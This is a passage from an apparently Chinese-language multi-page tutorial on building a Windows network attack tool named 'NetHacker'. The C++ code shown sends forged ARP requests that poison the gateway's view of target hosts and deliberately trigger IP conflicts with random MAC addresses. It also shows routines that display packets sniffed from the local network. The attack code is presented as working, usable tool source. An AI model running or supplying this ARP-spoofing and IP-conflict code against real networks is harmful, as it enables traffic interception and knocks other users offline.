mac[5] = rand(); for (i = 0; i < currentHstIndex; i++) { unsigned long ip; if (hostList[i].arpCheat == 1) { ip = (hostList[i].ip &0xff) << 24; ip += (hostList[i].ip &0xff00) << 8; ip += (hostList[i].ip &0xff0000) >> 8; ip += (hostList[i].ip &0xff000000) >> 24; SendArpReq(gateip, ip, mac); //网关->欺骗IP } if (hostList[i].ipConflict == 1) { ip = (hostList[i].ip &0xff) << 24; ip += (hostList[i].ip &0xff00) << 8; ip += (hostList[i].ip &0xff0000) >> 8; ip += (hostList[i].ip &0xff000000) >> 24; SendArpReq(ip, 2, mac); } }
memcpy(oldHostList, hostList, sizeof(HostList) *MAX_HOST); oldHstIndex = currentHstIndex; currentHstIndex = 0;
OnRecvPkt();
sthread = CreateThread(NULL, 0, CheckHost, 0, 0, 0); CDialog::OnTimer(nIDEvent); }
Sniffer到需要监听节点的报文后,sniffer线程会主动给对话框发送消息,以更新显示:
void CNetHackerDlg::OnRecvPkt() { CString str;
for (int i = 1; i <= MAX_PACKET; i++) { if (!packetList[i - 1].srcIp) break;
m_packetList.SetText(i, 0, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].srcIp)))); m_packetList.SetText(i, 1, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].desIp)))); switch (packetList[i - 1].protocol) { case IPPROTO_TCP: m_packetList.SetText(i, 2, "TCP"); str.Format("%d", packetList[i - 1].srcPort); m_packetList.SetText(i, 3, str); str.Format("%d", packetList[i - 1].desPort); m_packetList.SetText(i, 4, str); break; case IPPROTO_UDP: m_packetList.SetText(i, 2, "UDP"); str.Format("%d", packetList[i - 1].srcPort); m_packetList.SetText(i, 3, str); str.Format("%d", packetList[i - 1].desPort); m_packetList.SetText(i, 4, str); break; case IPPROTO_ICMP: m_packetList.SetText(i, 2, "ICMP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; case IPPROTO_IGMP: m_packetList.SetText(i, 2, "IGMP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; case ARP: m_packetList.SetText(i, 2, "ARP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break;
共15页: 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] 10 [11] [12] [13] [14] [15] 下一页
|